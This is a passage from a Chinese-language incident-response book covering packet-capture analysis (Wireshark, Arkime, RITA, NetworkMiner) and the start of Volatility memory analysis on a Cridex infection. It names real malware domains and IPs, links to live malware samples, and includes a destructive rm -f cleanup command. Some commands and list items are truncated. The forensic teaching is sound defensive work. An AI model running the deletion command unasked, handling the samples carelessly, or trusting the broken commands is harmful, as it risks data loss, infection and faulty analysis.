事件发生时,最好的证据来源之一是数据包捕获。分析这些数据包可以揭示数据外泄、漏洞利用以及命令和控制。
第五章详细介绍了从各种来源和不同位置获取数据包捕获的多种方法。数据包捕获包含大量潜在对事件响应分析员有价值的信息。其中一些信息包括源和目的地 IP 地址、域名和端口,以及主机之间通信的内容。在某些情况下,事件响应分析员可以重建实际文件,例如文本文件和图像。主要的缺点是涉及的数据量非常庞大。
示例数据包捕获
本章提到了一些预先配置好的数据包捕获。这些数据包捕获直接来源于malware-traffic-analysis.net/,并得到了作者的许可。该网站包含多个数据包捕获练习,事件响应分析员可以在这些练习中练习定位妥协迹象。不过需要注意的是,这些捕获可能包含恶意软件。你应该仅在正确配置的沙盒环境中(见第十六章)或其他不与生产环境连接的系统中检查实时数据包捕获。
命令行工具
分析网络数据包捕获时可以使用多个命令行工具。在更深入或较长时间的事件响应工作中,分析员可能会收集多个数据包捕获文件。将这些多个数据包捕获文件合并成一个文件可以使分析变得更加简便。Mergecap 应用程序正是通过将多个数据包捕获文件合并来实现这一点。Mergecap 是 SANS SIFT 工作站的一部分,可以通过以下命令执行:
sansforensics@siftworkstation: ~$ mergecap packetcapture1.pcap packetcapture2.pcap
另一个在分析数据包捕获时非常有用的命令行工具是 Editcap。Editcap 允许分析员将数据包捕获文件分割成更小的段,便于审查。例如,分析员可能只希望查看被拆分成 50,000 个数据包段的捕获文件。如果分析员有一个很大的数据包捕获文件,分割文件会使得搜索更加高效。为此,分析员可以在命令行中输入以下命令:
sansforensics@siftworkstation: ~$ editcap -F pcap -c evidence.pcap split.pcap
在上面的命令中,editcap 将 evidence.pcap 证据文件分割成了 50,000 个数据包段。Editcap 还可以用来将较大的数据包捕获文件按时间段进行分割。例如,如果分析员希望将数据包捕获文件按 10 分钟为一个段来分割,他们可以输入以下命令:
sansforensics@siftworkstation: ~$ editcap -F pcap-t+600 evidence.pcap split.pcap
分析员还可能会发现,在某些情况下,他们可能希望隔离域名注册流量。这在很大程度上是由于各种对抗性行为,如 C2 流量、数据外泄,以及可能通过利用 DNS 系统中的漏洞重定向到受损网站。dnstop 应用程序解析数据包捕获文件并确定来自内部主机的 DNS 查询的来源和数量。要在 Linux 系统上安装它,可以使用以下命令:
dfir@ubuntu:~$ sudo apt-get install dnstop
此命令将下载并安装 dnstop。在以下示例中,数据包捕获是从位于 www.malware-traffic-analysis.net/2022/03/21/index2.html 的恶意软件流量分析网站获取的。如果事件响应分析员想要确定是否有任何 IP 地址正在发送外发的 DNS 查询,他们只需执行以下命令:
dfir@ubuntu:~/Documents/Packet Captures$ dnstop 2022-03-21-Hancitor-with-Cobalt-Strike-and-Mars-Stealer.pcap
上述命令的输出结果如下:

图 9.2 – DNS 查询计数
实时威胁情报分析
使用数据包捕获时的一个挑战是涉及的数据量非常庞大。即使是来自中型网络的 24 小时数据包捕获也会带来问题。一种方法是使用关注关键数据点的工具。例如,与命令和控制(C2)相关的信标流量是需要查找的重要数据,因为它是对手与内部网络之间的连接。
一个可以提供帮助的工具是 Active Countermeasure 的实时智能威胁分析(RITA)工具。这个命令行工具利用行为分析来识别表明信标行为的模式,以便分析师能够专注于特定的 IP 地址或域名。这个工具的一个关键特性是它能够处理大型数据包捕获文件,例如通过 24 小时内的捕获得到的文件。这使得分析师能够找到即便是非常低速的命令与控制流量。
安装 RITA 非常简单。在这个案例中,RITA 已安装在 Ubuntu 桌面上。首先,创建一个 RITA 目录。其次,从 GitHub 网站下载安装脚本:github.com/activecm/rita/releases/tag/v4.5.1。接下来,运行以下命令使文件可执行:
dfir@ubuntu:~/rita$ sudo chmod +x ./install.sh
接下来,通过运行以下命令执行安装脚本:
dfir@ubuntu:~/rita$ ./install.sh
安装脚本会安装必要的依赖项,例如 Mongo 数据库结构和数据包捕获分析工具 Zeek。
Zeek
Zeek 是一个网络监控和分析工具,它与 RITA 一起使用。如需了解有关 Zeek 的更多信息,请访问docs.zeek.org/en/lts/。
下一步是处理数据包捕获。在这种情况下,两个数据包捕获文件来自malware-traffic-analysis.net/2022/01/27/index.html上的恶意软件流量分析帖子,并已合并为一个文件。这个文件被移动到 RITA 目录中。以下命令将 Zeek 指向数据包捕获文件,以便它能够处理成各种日志文件:
dfir@ubuntu:~/rita$ zeek -C -r IcedId.pcap
检查目录中的文件,显示已处理的日志文件:

图 9.3 – Zeek 日志文件
在使用 Zeek 处理数据包捕获后,日志文件需要导入到 RITA 可以读取的数据库IcedID中,使用以下命令:
dfir@ubuntu:~/rita$ rita import *.log IcedID
一旦运行该命令,结果应如下所示:

图 9.4 – RITA Zeek 日志导入
要访问 RITA 的帮助菜单,请输入以下命令:
dfir@ubuntu:~/rita$ rita
这将产生以下命令及相关结果:

图 9.5 – RITA 功能
让我们继续查看是否有任何数据包表明信标行为。运行show-beacons命令,针对之前通过运行IcedID数据库创建的数据库进行操作:
dfir@ubuntu:~/rita$ rita show-beacons IcedID
这会产生以下结果:

图 9.6 – RITA 信标分析
在图 9.6中,RITA 指示内部 IP 地址10.1.28.101已与 IP 地址149.255.35.174建立了 234 个连接。值得注意的一个结果是结果行开头的第一个数字0.838。这个分数表示 RITA 对这些结果的置信度,范围从 0 到 1。在这种情况下,几乎有 84%的置信度认为该流量是信标行为。
另一个选项是运行show-beacons-fqdn命令,它将显示系统的域名:
dfir@ubuntu:~/rita$ rita show-beacons-fqdn IcedID
这产生了类似的结果,但表明命令与控制服务器的域名为driverpackcdn.com,如下所示:

图 9.7 – RITA Beacon 完全限定域名
如我们所见,RITA 允许分析人员专注于特定的 IP 地址和域名,作为潜在的恶意目标,而无需挖掘数以 GB 计的数据包信息。从这里,他们可以直接转到关键的连接,这些连接在基于 GUI 的工具中是至关重要的,我们接下来将重点讨论这一部分。
NetworkMiner
与命令行工具相比,分离数据包捕获数据的基于 GUI 的工具更容易操作。一个这样的工具是 NetworkMiner,可以在www.netresec.com/?page=NetworkMiner找到。该工具有商业版和社区版,社区版功能更有限。尽管如此,社区版仍具备一些在分析数据包捕获时非常有用的关键特性。
在本演示中,我们将查看与 Hancitor 感染相关的 PCAP 文件,可以从 malware-traffic-analysis.net/2022/03/21/index2.html 下载。通过选择 文件 并点击 打开 来加载 PCAP 数据。导航到数据包捕获文件并点击 打开。NetworkMiner 会处理 PCAP 文件并显示数据包捕获中找到的主机:

图 9.8 – NetworkMiner GUI
下一个标签页,文件,显示了数据包捕获中包含的文件:

图 9.9 – NetworkMiner 的文件标签页
如果你进一步深入查看从bor4omkin.ru下载的b123.exe文件,源 IP 地址为45.8.124.233:

图 9.10 – 可疑文件
除了可视化数据包捕获中的文件外,NetworkMiner 还会提取它们并将它们放入按 IP 地址分类的AssembledFiles目录中。这使得分析人员可以快速识别可疑文件并进行分析。
NetworkMiner 是一个非常有用的工具,用于初步查看数据包捕获。它提供有关文件、DNS 查询、会话和其他关键数据点的详细信息。它的主要优势在于能够快速聚焦于关键数据点,从而使分析人员可以集中精力查看特定领域,而无需挖掘整个数据包捕获来寻找关键证据。
Arkime
Arkime 是一个开源的数据包捕获与搜索系统,允许分析师和响应者检查大量的网络数据包捕获。默认情况下,Arkime 会将数据包捕获按捕获中包含的各个会话进行组织。Arkime 可以作为网络监控系统使用,通过将数据包导入到 Elasticsearch 基础架构中,响应者可以实时查看网络活动。另一个 Arkime 的使用方式是加载离线数据包捕获进行索引。
Arkime 的安装说明可以在 GitHub 上找到,网址为 raw.githubusercontent.com/arkime/arkime/master/release/README.txt。Arkime 可以安装在各种 Linux 桌面或服务器平台上。服务器选项为较大的团队提供了共享数据包捕获数据和评估正在运行的捕获的能力。桌面安装适用于处理离线数据并且不需要共享结果的响应者。
在本节中,我们将使用 Arkime 分析来自与钓鱼攻击相关的系统的一个数据包捕获。该数据包捕获文件可以在malware-traffic-analysis.net/2022/02/25/2022-02-25-Emotet-epoch4-with-spambot-activity.pcap.zip找到。
首先,在 Arkime 中为离线数据包捕获创建一个目录。这可以在 home 目录中完成。接下来,使用 SFTP 将数据包捕获文件传输到离线数据包捕获目录中。最后,使用位于 /opt/arkime/bin 目录中的 Arkime 捕获二进制文件,使用以下命令处理数据包捕获:
arkime@arkime:/opt/arkime/bin$ sudo ./capture -r /home/offlinecaps/2022-02-25-Emotet-epoch4-with-spambot-activity.pcap
上述命令处理2022-02-25-Emotet-epoch4-with-spambot-activity.pcap文件,使其可以通过 GUI 进行查看。需要注意的一点是-r参数,它只处理单个数据包捕获。如果有多个捕获,可以使用-R参数运行二进制文件,这将递归处理目录中的所有数据包捕获。图 9.11 显示了正在处理的数据包捕获:

图 9.11 – Arkime PCAP 导入
完成后,打开浏览器并导航到服务器或工作站的 IP 地址,并指定端口 8005。这将打开 Arkime 界面。在左上角,将时间设置为全部。设置时间后,将显示以下视图:

图 9.12 – Arkime GUI 仪表板
Arkime 是一个功能丰富的平台。以下步骤概述了在检查离线数据包捕获时可用的一些功能:
- 仪表板中对数据包捕获的检查识别出几个不同的会话,其中
10.2.25.101的内部系统正在与外部 IP 地址进行通信。为了将搜索结果缩小为 HTTP 上的互联网流量,应该在搜索栏中输入以下查询:

图 9.13 – HTTP 端口 80 查询
- 这表明有两个目标端口为
80的 TCP 会话。这些会话可以通过仪表板中显示的任何字段进行排序。一个有用的关键数据是会话中传输的字节数。如果发送和接收的字节数之间存在较大差异,可能表明存在数据外泄,如果发送的字节数较大,或者在本次捕获中,接收的字节数较大,则可能表示文件传输,如以下条目所示:

图 9.14 – HTTP 会话数据
- 仪表板的最右侧包含关于会话的 URI 及相关信息。例如,检查 HTTP 上的会话表明本地主机访问了一个看起来像是 Windows 更新站点的页面:

图 9.15 – Arkime URI 数据
- Arkime 在与 Windows 更新相关的信息 URI 所在的同一会话行中提供了额外的信息。点击绿色加号框,将打开以下页面:

图 9.16 – 会话数据
- 更下方,在HTTP标题下,是有关连接的有价值数据:

图 9.17 – HTTP 会话数据
- Arkime 的另一个有用功能是能够可视化连接。在 Arkime web 应用程序的顶部有连接选项。如果点击连接,将出现以下内容:

图 9.18 – Arkime 连接图
接下来,让我们看看如何重置 Arkime。
我该如何重置 Arkime?
在分析结束时,有两种方法可以清除现有数据,为后续分析做准备。第一种方法是在虚拟化平台(如 VMware)上部署 Arkime。在此,你可以创建一个新的安装,并捕获新安装的快照。一旦分析完成,你可以恢复到新的安装快照。
另一种方法是重新运行init或wipe命令。步骤如下:
-
保持 Elasticsearch 运行。
-
关闭所有正在运行的查看器或捕获进程,以确保不会录制新的数据。
-
要删除存储在 Elasticsearch 中的所有 SPI 数据,请使用
db.pl脚本,并使用init或wipe命令。两个命令之间的唯一区别是,wipe保留已添加的用户,以便它们不需要重新添加:/opt/arkime/db/db.pl http://ESHOST:9200 wipe -
删除 PCAP 文件。PCAP 文件以
raw格式存储在文件系统中。你需要在所有捕获机器上执行此操作:/bin/rm -f /opt/arkime/raw/*
Arkime 的主要优势是能够以流视图查看网络流量。对于更详细的逐包视图,最好的工具是 Wireshark,接下来我们将介绍它。
Wireshark
Wireshark 是事件响应分析人员最受欢迎的数据包捕获分析工具之一。除了捕获数据包的功能外,还有许多其他功能可用。由于大量的书籍和培训课程围绕这个平台构建,因此很难列出所有的功能。因此,本章将重点介绍一些在事件调查中最为适用的 Wireshark 关键功能。
Wireshark 资源
可以说,Wireshark 是 IT 和安全专业人员首选的数据包分析工具。由于该应用的普及,市场上有大量资源可用于深入学习 Wireshark 及其功能。Wireshark 官网www.wireshark.org/提供了丰富的信息。此外,www.chappell-university.com/网站提供了练习和培训数据包捕获,以帮助提升分析技能。
此外,《Learn Wireshark》一书的作者 Lisa Bock 在她的书中对 Wireshark 进行了深入的讲解,该书可在www.packtpub.com/product/learn-wireshark-fundamentals-of-wireshark/9781789134506上找到。
由于 Wireshark 是一款功能丰富的工具,一些设置更适合用于网络流量分析,而不适用于事件响应活动。因此,需要进行一些更改,以更好地帮助事件响应分析人员执行有关事件调查的数据包捕获分析:
-
时间:Wireshark 中的时间设置提供了多个选项。包括自 1970 年 1 月 1 日起或自数据包捕获开始起的时间。这些选项中有一个在事件调查中非常有用的功能,即单个数据包捕获的日期和时间。这使得分析人员能够将其他可疑或恶意活动的日期和时间与数据包捕获中特定流量的日期和时间进行关联。要启用此功能,请导航到 视图,然后选择 时间显示格式。从中选择一个时间选项,如 日期和时间 或 日期或一天中的时间。另一个可以考虑的选项是使用 UTC 时间选项。如果内部网络使用 UTC 而非本地时间,这将非常有用。时间还可以设置为纳秒级。
-
名称解析:名称解析设置允许分析人员在查看源主机和目标主机的 IP 地址与主机名解析之间切换。如果分析人员正在检查数据包捕获并希望确定是否发现了任何可疑的主机名,这将非常有用。例如,如果打开数据包捕获,你将看到各种 IP 地址:

图 9.19 – Wireshark IP 地址视图
要确定主机名,请导航到 查看 然后选择 名称解析。点击 解析网络地址。Wireshark 将解析 IP 地址为主机名:

图 9.20 – Wireshark 域名视图
- 数据包列表着色:此功能允许分析人员在数据包列表的空白背景和让 Wireshark 为数据包上色之间切换:

图 9.21 – Wireshark – 经典着色规则
在本章中,将使用位于 malware-traffic-analysis.net/2022/04/14/index.html 的恶意软件流量分析中的数据包捕获进行 Wireshark 探索。该数据包捕获包括下载 Qakbot 恶意软件副本以及 Cobalt Strike。对于本章,将识别数据包捕获中的几个关键元素。在检查数据包捕获之前,Wireshark 已配置为显示日期和时间,并识别主机名。
以下是 Wireshark 中的一些功能,它们提供了从数据包捕获中获得的关键信息:
ip.src==10.4.14.101语法,显示以下内容:

图 9.22 – 源地址过滤器
- 主机识别:分析数据包捕获的另一个关键方面是识别本地主机(如果适用)。考虑到这个数据包捕获来自单一主机,识别主机名、IP 地址和 MAC 地址是直接的。通过双击单个数据包,可以找到大量信息:

图 9.23 – 数据包数据
-
80。 -
http。在输入此过滤器时请注意,因为将有多个不同的过滤器可用。一旦输入了过滤器,点击对话框右侧的右箭头。Wireshark 将限制显示仅使用 HTTP 协议的数据包:

图 9.24 – HTTP 数据包视图
geobram.com可能是一个可疑的 URL。Wireshark 的另一个功能是能够跟踪源主机与目标主机之间的 TCP 或 HTTP 通信流。如果你右键点击rozhan-hse.com主机名,将会出现以下内容:

图 9.25 – 跟踪 HTTP 流
将会出现第二个窗口;点击HTTP 流,第三个窗口将会出现。此窗口以可以读取的格式显示 HTTP 数据包。事件响应分析员可以查看此输出,确定可能已发送或接收的文件类型:

图 9.26 – HTTP 数据包信息
GET命令正在访问NO_2950435796.zip文件。分析员可能需要提取该文件进行分析。点击文件,然后点击导出对象,再点击HTTP;会出现一个窗口,列出所有与 HTTP 连接相关的文件。此列表可以根据窗口顶部的任意字段进行排序。在这种情况下,选择主机名并向下滚动,直到找到可疑的 URL:

图 9.27 – Wireshark – 导出 – HTTP 对象列表
从这里,分析员可以点击文件并将其保存到本地系统以供后续分析。第十二章将选择文件并评估其中的恶意代码。
Wireshark 是一个强大的工具,用于对数据包捕获进行详细分析。能够深入查看每个数据包并对其进行剖析,帮助分析员非常详细地了解流向外部主机和内部主机之间的流量内容。这种可见性可以为分析员提供潜在的洞察,了解受感染的主机如何与外部主机通信,甚至识别其他可能已被攻陷的主机。
总结
安全事件不仅会在主机系统上产生痕迹,还会在网络中的设备和流量流经的路径上留下痕迹。分析这些痕迹证据将帮助事件响应分析员更好地理解他们正在调查的事件类型,以及可以采取的潜在措施。本章讲解了如何通过快速的黑名单对比、DNS 分析以及使用 Elastic Stack 或其他 SIEM 系统进行日志分析来评估日志文件。为了增强这一主要的网络证据评估方法,我们还介绍了 NetFlow 分析,并使用 Arkime 和 Wireshark 进行了数据包捕获分析。网络证据是事件调查中的关键组成部分。结合从可能被攻陷的网站获取的证据,这些痕迹证据有助于分析员重建事件的发生过程。
下一章将把焦点从网络流量转向主机,接着会探讨内存分析。
问题
回答以下问题,测试你对本章内容的掌握:
-
过滤日志审查是指响应者或分析员根据设定的参数过滤特定日志。
-
正确
-
错误
-
-
Elastic Stack 的组成部分不包括什么?
-
Elasticsearch
-
日志转发器
-
Logstash
-
Kibana
-
-
哪个数据包分析工具默认将数据包捕获按会话进行分类?
-
Wireshark
-
NetFlow
-
Elastic Stack
-
Arkime
-
-
Wireshark 不支持 DNS 名称解析。
-
正确
-
错误
-
进一步阅读
请参考以下链接,获取本章所涉及主题的更多信息:
-
Elasticsearch 7.0 Cookbook - 第四 版:
www.packtpub.com/big-data-and-business-intelligence/elasticsearch-70-cookbook-fourth-edition。 -
恶意软件流量 分析:
www.malware-traffic-analysis.net。 -
Arkime:
arkime.com/。 -
查普尔大学:
www.chappell-university.com/。 -
思科 IOS NetFlow:
www.cisco.com/c/en/us/products/ios-nx-os-software/ios-netflow/index.html。
第十章:分析系统内存
长时间以来,执法部门和其他执行与事件调查相关的数字取证任务的组织常常依赖于专注于计算机硬盘中证据的方法论。程序要求关闭系统并拆卸硬盘以进行成像。虽然这种方法论及其相关程序有效地确保了证据的完整性,但它忽略了目标系统中随机存取内存(RAM,即内存)中包含的大量信息。因此,事件响应分析师开始将大量注意力集中在确保采用适当的方法来保持这些证据的完整性,同时为他们提供一个平台,从中获取具有证据价值的信息。
本章将重点介绍可以在系统内存中定位的证据类型,事件响应分析师可用的工具和技术,最后,如何分析这些信息以清楚地了解系统是如何被入侵的。此外,这些技术还可以与其他证据的分析结合使用,例如网络日志文件和存储在目标系统上的文件。
本章将涉及以下主要内容:
-
内存分析概述:本节讨论通过适当的内存分析可以发现的关键数据点。
-
内存分析方法论:结构化的方法非常重要,确保响应人员能够提取必要的数据。
-
Volatility 内存分析:通常被认为是内存分析的黄金标准,这个命令行工具具有广泛的数据采集和分析功能。
-
字符串内存分析:一个简单但有效的工具,使响应人员能够从其他工具可能遗漏的内存区域中提取数据。
在本章结束时,您将掌握必要的方法论和工具,能够找到数据点,分析它们,并提取其他证据以供后续分析。
内存分析概述
在讨论如何分析系统内存时,两个术语通常互换使用。术语 RAM 和内存用于描述计算机内部系统中的一部分,在该部分中,操作系统放置被应用程序和系统硬件在使用时所需的数据。RAM 或内存与存储的区别在于数据的易失性。通常,如果系统关闭,数据会丢失。
操作系统的一个变化,直接影响了内存分析,那就是 64 位操作系统的出现。使用 64 位寄存器使操作系统可以引用总共 17,179,869,184 GB 的内存。与 32 位操作系统相比,这个数据量是以前可用数据的几百万倍。因此,系统运行时,RAM 中包含了大量有价值的数据,这些数据在事件调查中具有重要作用。包括以下内容:
-
正在运行的进程
-
加载的 动态链接库 (DLL)
-
加载的设备驱动程序
-
打开注册表键
-
网络连接
-
命令历史记录
随着分析系统内存的必要性增加,分析师有几种工具可供使用。本章将重点介绍三种工具;它们都是开源或免费软件,且可以轻松部署。这些工具使分析师能够深入了解利用漏洞和恶意软件对系统造成的影响。
在本章中,将使用两个内存捕获文件。第一个内存捕获文件来自一台被 Cridex 病毒感染的 Windows 系统。内存镜像可以从 files.sempersecurus.org/dumps/cridex_memdump.zip 下载。
第二部分是另一个 Windows 系统,属于一个可供训练使用的练习,文件可以通过 dfirmadness.com/case001/DC01-memory.zip 下载。
尽管这两种恶意软件感染相对较旧,但它们有助于突出我们将要分析的工具集的特定功能。
内存分析方法论
在检查系统内存时,分析师应遵循一定的方法论。这可以确保所有潜在证据被发现,并且可以在事件调查中加以利用。我们将探讨两种方法论。其中一种是 SANS 六部分方法论,旨在识别与恶意软件执行相关的妥协指标。另一种方法论则侧重于利用 IP 地址或其他网络物品来识别与该 IP 地址相关的恶意代码。
内存分析的主要目标之一是识别潜在的恶意进程或可执行文件,这些文件可以提取出来进行检查。本章中的大部分内容将在 第十六章 中继续探讨,其中提取的数据将进一步分析。
SANS 六部分方法论
SANS 机构采用六部分方法论来分析内存镜像。该过程旨在从全面了解正在运行的程序开始,直到识别和访问恶意软件。SANS 方法论包括以下步骤:
-
识别恶意进程:恶意软件常常将其行为隐藏在表面上看似合法的进程后面。揭示这些进程需要识别当前运行的进程,找到它们在操作系统中的位置,并验证只使用了合法的进程。有时,进程会明目张胆地隐藏起来,攻击者通过修改进程名称中的一个字母来掩盖其踪迹。其他时候,他们会尝试从不合法的来源执行一个进程。
-
分析进程的 DLL 和句柄:一旦识别出某个进程或多个进程为恶意进程,下一步是检查与该进程相关的 DLL 文件,以及其他因素,如账户信息。恶意软件编程人员常常利用 DLL 文件隐藏其活动。利用 DLL 文件来攻破系统的技术包括恶意软件编程人员将自己的恶意 DLL 文件作为恶意软件的一部分插入系统。其他技术则包括 DLL 注入,即将恶意 DLL 文件的路径写入进程中。
-
审查网络痕迹:恶意软件,尤其是多阶段恶意软件,需要与互联网建立连接。即使完全被攻破的系统,通常也会向 C2 服务器发送信号。活动和监听中的网络连接存在于这些系统的内存中。识别外部主机的 IP 地址可能有助于洞察已发生的入侵类型。
-
寻找代码注入的证据:进程空洞化和内存中未映射的区域等技术通常被高级恶意软件编程人员使用。内存分析工具帮助分析人员找到这些技术的证据。
-
检查根套件的迹象:持久性是许多外部威胁行为者的目标。如果他们最初能够攻破系统,他们必须保持这种控制。因此,攻击者可能会使用根套件或嵌入到操作系统深处的恶意软件。这种恶意软件使攻击者能够持续、常常是以更高权限的方式访问系统,同时保持未被发现。
-
转储可疑的进程和驱动程序:在定位到任何可疑的进程或可执行文件后,分析人员需要能够获取它们,以便使用额外的工具进行后续分析。
接下来,我们将了解网络连接的方法。
网络连接方法
在许多事件中,系统被攻破的第一个迹象是尝试或完成与外部主机的连接。防火墙或 Web 代理等检测机制可能表明系统正在尝试与可疑的外部主机通信。基于此起点,可能能够识别出系统上潜在的恶意软件:
-
可疑的网络连接:对与外部连接相关的主机上的网络连接进行审查,通常能提供尝试进行通信的进程。
-
进程名称:通过网络连接检查进程可以让分析员执行 SANS 方法中类似的操作。建议分析员还应该判断所识别的进程是否是一个通常需要网络连接的进程。
-
父进程 ID:深入了解父进程有助于判断该进程是否是合法的,并且是否有合法的需求通过网络连接进行通信。
-
关联实体:最后,检查关联的 DLL 和其他遗留物将引导我们到达一个阶段,届时可以获取并分析它们。
现在,让我们来看一些内存分析工具。
内存分析工具
分析员可以使用多个工具来查看内存映像。一些工具提供图形用户界面(GUI)以便使用,而其他工具则通过命令行操作,这使得它们对于脚本编写非常有用。本章将检查三种工具。第一种是 Mandiant Redline,它是一个基于 GUI 的内存分析工具,能够检查内存映像中的恶意进程迹象,并根据几个因素对其进行评分。第二种工具是 Volatility,它是一个命令行工具,允许分析员深入分析内存映像的细节,并识别潜在的恶意代码。最后将检查的是 Linux 中可用的 Strings 工具。Strings 允许通过 GREP 进行关键字搜索,帮助响应人员识别出可能不容易通过其他工具看到的 IOC。
使用 Volatility 进行内存分析
Volatility 是一个高级的开源内存取证框架。该框架中的主要工具是 Volatility Python 脚本,它利用多种插件来分析内存映像。因此,Volatility 可以在任何支持 Python 的操作系统上运行。此外,Volatility 还可以用于分析来自大多数常见操作系统的内存映像文件,包括从 Windows XP 到 Windows Server 2016 的 Windows 系统、macOS 以及常见的 Linux 发行版。
Volatility 提供了一系列插件,且正在开发更多插件。为了检查系统内存,我们将检查几个插件,确保你拥有足够的信息进行正确的分析。不过,在使用 Volatility 之前,建议确保你的软件是最新的,并且已探索任何新插件,以判断它们是否适用于当前的事件调查。
Volatility 版本
Volatility 当前是版本 3,但版本 2 仍然在使用,尤其是对于那些可能仍需分析来自 Windows XP 或 Server 2003 系统的内存镜像的分析人员。两者之间的主要区别在于,版本 3 不再要求分析人员为 Volatility 设置系统配置文件,以便正确解析内存镜像。此外,插件的语法也发生了变化。Ashley Pearson 的 Volatility 备忘单博客,地址为 blog.onfvp.com/post/volatility-cheatsheet/,展示了这两者的差异。
安装 Volatility
Volatility 可用于 Linux、Windows 和 macOS。在 www.volatilityfoundation.org/releases 网站上可以找到关于如何在不同操作系统上安装它的信息。本章中,Volatility 被安装在 Windows 10 操作系统下的 Linux Ubuntu 子系统上。以下命令将在 Ubuntu 子系统及其他 Linux 操作系统上安装 Volatility:
forensics@ubuntu:~$ git clone https://github.com/volatilityfoundation/volatility3.git
这将生成以下输出:

图 10.1 – 安装 Volatility
运行 ls 命令显示了 Volatility 框架中各种脚本和文件:

图 10.2 – 验证 Volatility 安装
你可以通过运行以下命令来访问 Volatility 的帮助菜单:

图 10.3 – Volatility 帮助菜单
Volatility 命令
Volatility 使用简单的命令结构。当使用 Python 文件时,像我们这里一样,使用 Python 3 然后是 Volatility Python 文件。接下来,指明文件路径,最后是插件。附加参数取决于插件;你将在我们接下来讨论的几个插件中看到这一点。命令行应该如下所示:
forensics@ubuntu:~/volatility3$ python3 vol.py -f <Memory Image File> <operatingsystem.plugin>
让我们继续介绍一些可以在 Volatility 中使用的插件。
Volatility 图像信息
首先,我们将通过获取一些关于内存镜像及其来源系统的初步信息开始。即使分析人员确定了操作系统,运行内存镜像并使用 Volatility 的 windows.info 插件仍然是一种良好的实践。该插件的输出会识别出内存镜像的潜在配置文件,这对于使用其他插件至关重要。一般来说,Volatility 的语法由内存镜像的路径和特定插件组成。在这种情况下,使用以下命令:
forensics@ubuntu:~/volatility3$ python3 vol.py -f /home/forensics/EvidenceFiles/MemoryImages/cridex.vmem windows.info
这将生成以下结果:

图 10.4 – windows.info 插件
在这种情况下,NTBuildLab 字段表明该内存镜像来自 Windows XP 计算机。接下来,让我们开始分析 Windows 进程信息。
Volatility 进程分析
根据 SANS 六步法,首先讨论的是那些提供有关系统在内存捕获时运行进程数据的插件。目标是识别那些看起来可疑的进程,并识别与其相关的任何数据。
进程列表
第一个插件是windows.pslist插件。这个插件列出了当前在内存中运行的进程。它输出偏移量、进程名称、PID、线程和句柄的数量,以及进程启动和退出的日期和时间。由于pslist插件遍历的是由PsActiveProcessHead指示的双向链表,因此无法检测到隐藏或未链接的进程。要执行此插件,可以在命令提示符中输入以下内容:
forensics@ubuntu:~/volatility3$ python3 vol.py -f /home/forensics/EvidenceFiles/MemoryImages/cridex.vmem windows.pslist
这将产生以下输出:

图 10.5 – 进程列表
对输出的初步分析确实显示了一个可疑的条目。根据粗略检查,执行了一个名为reader_sl.exe的文件。这个怀疑主要基于非标准的文件名,但随着我们进一步深入分析,我们将获得更多关于这个文件的上下文和洞察。
进程扫描
windows.psscan插件允许分析员检查已终止的进程。正如我们之前所讨论的,pslist仅显示活动进程。psscan可以提供关于是否存在根套件的可能性,特别是在检查那些已经被取消链接或隐藏的进程时。执行以下命令可以启动插件:
forensics@ubuntu:~/volatility3$ python3 vol.py -f /home/forensics/EvidenceFiles/MemoryImages/cridex.vmem windows.psscan
这个命令将产生以下输出:

图 10.6 – 进程扫描
从这个插件的输出来看,似乎没有额外的进程已退出。响应人员可以开始查看现有进程,找出可能看起来是恶意的进程。
进程树
通常,响应人员需要查看子进程是在哪些父进程下执行的。系统被入侵的一个标志是识别出一个在正常父进程之外执行的进程。windows.pstree插件为检查人员提供了一个树状结构,能够识别执行潜在可疑进程的父进程。使用以下命令,可以在运行 Cridex 映像时启用这个插件:
forensics@ubuntu:~/volatility3$ python3 vol.py -f /home/forensics/EvidenceFiles/MemoryImages/cridex.vmem windows.pstree
这个命令将产生以下输出:

图 10.7 – 进程树
对这三个插件结果的分析显示了一个有趣的条目。PID 1640 与reader_sl.exe可执行文件相关联。响应人员可以集中关注这个进程,因为它可能看起来不像是应该运行的应用程序。此外,父 PID 显示它是通过 Windows 资源管理器运行的:

图 10.8 – 可疑进程
在此,响应者可以用额外的数据补充现有的进程数据,例如加载了哪些 DLL 和其他辅助数据。
DLL 列表
响应者还可以检查与进程相关的加载 DLL 文件。这允许分析员确定可疑进程在执行时是否访问了这些文件。例如,如果响应者想检查作为可疑进程一部分加载的 DLL 文件(PID 1640),可以运行以下命令:
forensics@ubuntu:~/volatility3$ python3 vol.py -f /home/forensics/EvidenceFiles/MemoryImages/cridex.vmem windows.dlllist --pid 1640
该命令生成以下输出:

图 10.9 – 关联的 DLL 文件
从这里开始,分析员可能通过分析加载的各种 DLL 文件来确定进程的一些功能。稍后在本章中,将获取这些 DLL 文件以供进一步检查。
windows.handles 插件
windows.handles插件允许分析员查看现有进程中打开的句柄类型。这些句柄是操作系统管理的资源的引用。该数据为响应者提供了应用程序或进程使用的特定内存块的理解。此数据包括广泛的信息,例如与该进程相关的注册表键和文件。要识别先前确定的 PID 1640 的打开句柄,可以使用以下命令:
forensics@ubuntu:~/volatility3$ python3 vol.py -f /home/forensics/EvidenceFiles/MemoryImages/cridex.vmem windows.handles --pid 1640
该命令生成以下输出:

图 10.10 – 句柄输出
如输出所示,嫌疑进程有多个打开的句柄进程、线程和注册表键。这些可能成为未来重要的数据点,并提供一些关于reader_sl.exe可执行文件行为的线索。
LDR 模块
恶意软件编写者常用的一种做法是尝试隐藏恶意软件的活动。一种技术是试图隐藏与恶意代码相关的 DLL 文件。这可以通过将可疑的 DLL 从 windows.ldrmodules 插件中取消链接来实现,该插件会比较进程列表并确定它们是否存在于 PEB 中。以下命令在 Cridex 镜像文件上运行 windows.ldrmodules:
forensics@ubuntu:~/volatility3$ python3 vol.py -f /home/forensics/EvidenceFiles/MemoryImages/cridex.vmem windows.ldrmodules –pid 1640
这将生成以下输出:

图 10.11 – LDR 模块输出
审查输出时,顶部行显示了一个有趣的条目。从该输出中,reader_sl.exe文件需要进一步调查。
Malfind
对手使用各种代码注入技术来运行恶意软件。Volatility 的windows.malfind插件显示可能包含注入代码的内存范围。运行以下命令:
forensics@ubuntu:~/volatility3$ python3 vol.py -f /home/forensics/EvidenceFiles/MemoryImages/cridex.vmem windows.malfind
这将生成以下简化的输出:

图 10.12 – Malfind 输出
在此屏幕截图中,两个进程 explorer.exe 和 reader_sl.exe 被标识为可执行文件,因为两个文件都有 MZ 头。malfind 插件不会自动标识这些进程是恶意软件,但表示应该进行进一步的分析。在这种情况下,我们将查看如何从内存中提取与 reader_sl.exe 相关的代码,并提取相关的 DLL 文件。
Dumpfiles
